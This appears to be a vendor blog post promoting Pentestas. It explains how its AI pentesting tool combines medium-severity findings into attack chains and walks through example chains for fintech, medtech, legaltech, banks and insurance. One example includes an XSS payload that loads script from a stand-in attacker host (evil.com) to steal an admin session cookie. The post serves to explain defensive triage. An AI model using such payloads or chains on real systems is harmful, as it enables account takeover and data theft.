Attack Chain Synthesis: Why Two Combined Mediums Can Be Your Biggest Risk

Attack-chain synthesis is the single capability that separates AI penetration testing from scanner-plus-AI-narrative. Here's how Pentestas builds chains, why they matter more than individual findings, and what your team should do with them once they appear.

Look at a real scan result for a moment:

• **MEDIUM*— File upload accepts SVG, no MIME check.
• **MEDIUM*— Stored XSS payload reflects in profile display.
• **MEDIUM*— Session cookie missing HttpOnly flag.

If your triage model is "we ship all CRITICALs this sprint, schedule HIGHs for next, discuss MEDIUMs", you deprioritise three MEDIUMs. Your CISO signs off. Six weeks later an attacker:

1. Uploads an SVG containing <script src="evil.com/beacon.js">.
2. Chats to support, who views their profile.
3. Support rep is internal-admin-scoped. Their cookie exfils.
4. Attacker hits /admin/users with the stolen cookie. Full tenant compromise.

Every individual finding was CORRECT. The severity assignments were CORRECT in isolation. The triage decision that missed the chain was wrong — and there was no signal in the original report to prevent it.

This is the asymmetry chains fix. Attackers think in chains. Scanners think in rows. AI pentesting closes the gap.

Two mechanisms run side-by-side and get deduplicated at the end.

Rule-based synthesis

A curated set of 23 rules encodes common escalation patterns. Each rule:

1. Matches a predicate set across the findings list.
2. Emits an ordered stage template.
3. Outputs a chain with combined severity + combined impact string.

A sample of the rules:

Every rule is auditable — the rationale field on the chain explains which findings triggered it.

LLM synthesis

After the rule engine runs, a medium-tier Claude agent reads the entire findings list + target context and proposes additional chains the rules missed. Output passes two safeties:

1. Stage validation — each stage must reference an actual finding (or a directly-observable behaviour in the trace). No fabricated links.
2. Rationale check — the chain must include an explicit "why this works" paragraph referencing evidence.

Chains that fail validation are dropped. Typical LLM add is 2–5 chains per medium-complexity scan.

Pentestas computes chain severity as:

chain_severity = max(stage_severity) + 1 step (if end-state is "critical impact")

Where "critical impact" means: RCE, account takeover (admin or arbitrary user), unauthenticated data exfil at scale, or cloud-credential theft. The +1 step is bounded at CRITICAL — no bump beyond the top.

Three MEDIUMs that end at "attacker controls admin session" = HIGH chain. Three MEDIUMs that end at "attacker SSHes into the host" = CRITICAL chain. The math matches how security teams actually reason about risk.

Chains appear in the Scan detail page as an XMind-style horizontal mindmap. Root on the left, stages branching right. Click any node to drill into the underlying finding; drag the canvas to pan when the chain expands beyond the viewport; click the root to collapse.

This is the single view most-returned-to by security teams using Pentestas. The executive who doesn't read the 80-page PDF will read the mindmap. Engineering leads use it to triage — the visual structure of a chain makes the fix order obvious (break the weakest link and the whole chain fails).

Fintech

The archetypal fintech chain: IDOR on /api/accounts/{id} + missing rate limit on transfer endpoint + weak 2FA flow = attacker drains any account they can enumerate. Individually each finding is HIGH at worst. The chain is a regulatory incident. Pentestas's Authz specialist caps at 25 hypotheses per scan and routinely produces the IDOR component; the Auth specialist supplies the 2FA weakness; the API scanner surfaces the rate-limit gap. An ai pentest as a service running nightly against your production-parallel environment will catch this kind of chain before it ships.

Medtech

The HIPAA-meaningful chain: mass assignment on /api/patient (accepts is_admin=true in body) + missing server-side check on patient-data access = attacker creates a patient record tagged with admin privileges, then queries the whole dataset. Each finding is MEDIUM. The chain is a 30-day HHS disclosure obligation. Pentestas flags mass-assignment candidates by probing user-editable fields for privilege shapes (role, is_admin, tenant_id) and surfaces them as first-class findings.

Legaltech

Legal SaaS chain: stored XSS in comment field + admin access to review pending uploads + missing CSP on the admin page = attacker posts a comment, triggers XSS on the next reviewer's session, and exfils the session cookie to exfil every document the reviewer can see. Legaltech platforms are particularly exposed here because reviewer roles often span every tenant's documents. Pentestas's XSS specialist fires through real headless Chromium; an "XSS" is only reported if a real browser executed the payload on a second user's render.

Banks

Internal pentesting chain: SSRF in the webhook sender + outbound allowed to internal subnets + admin UI on 10.0.0.5 with default creds = attacker uses the webhook to pivot into the admin console. Pentestas agents running inside the corporate network can execute this kind of chain against targets the public internet never sees; the Pentestas Linux or .NET Windows agent opens a WebSocket out to the platform and becomes a tenant-scoped scanning endpoint on the far side of the firewall.

Insurance

Underwriting-system chain: JWT with weak signing secret + no server-side session invalidation on role change = attacker exfils any user's JWT at signup, forges an admin JWT with role=admin, and accesses every policy in the tenant. Insurance platforms store a high concentration of PII; the chain here turns a JWT-weakness finding that might have been scheduled as a normal HIGH into an emergency-patch ticket. Continuous ai pentest against every deploy closes the gap between "we changed the signing secret" and "we verified the change didn't break a dependent flow".

Three rules of thumb we recommend to customers:

1. Fix the weakest link, not every link. A five-stage chain with one foundational MEDIUM requires fixing the MEDIUM — the chain collapses. You don't need to patch every stage.

1. Chains dominate triage order. Within a given sprint, prioritise chains over individual findings of the same severity. A HIGH chain composed of three MEDIUMs is more dangerous in practice than an unchained HIGH, because the chain has been proven to compose — the unchained HIGH may or may not be reachable from where real attackers land.

1. Re-scan after the fix. Pentestas supports scan-level rerun or per-finding rerun. Re-firing the exploit payload against the fixed endpoint is the cheapest possible regression test; ideal wiring is a post-merge pentestas start -u https://staging.example.com -w 20m in CI that fails the build if the chain re-appears.

Every chain Pentestas reports ships with:

• **Rationale*— the rule or LLM reasoning that produced it.
• **Stage evidence*— for every node, the underlying finding IDevidence block.
• **Combined impact*— one-sentence description of what an attacker achieves at the end of the chain.
• **Severity math*— which stage supplied the severity floorwhether the end-state "critical impact" bump fired.

Chains without full stage evidence are dropped before persistence. No "someone could probably" speculation; no "in theory this links to that" hand-waving.

Start a pentest as a service scan that will produce chains:

pentestas start -u https://staging.example.com -c scan.yaml -w 1h

Open the resulting scan's detail page and look at the mindmap. If a chain appears, it's by definition actionable — every stage references a real finding with real evidence.

• AI penetration testing explained — the broader AI pentest methodology
• Attack chains in the product — user guide
• AI specialist agents — the agents that feed chain synthesis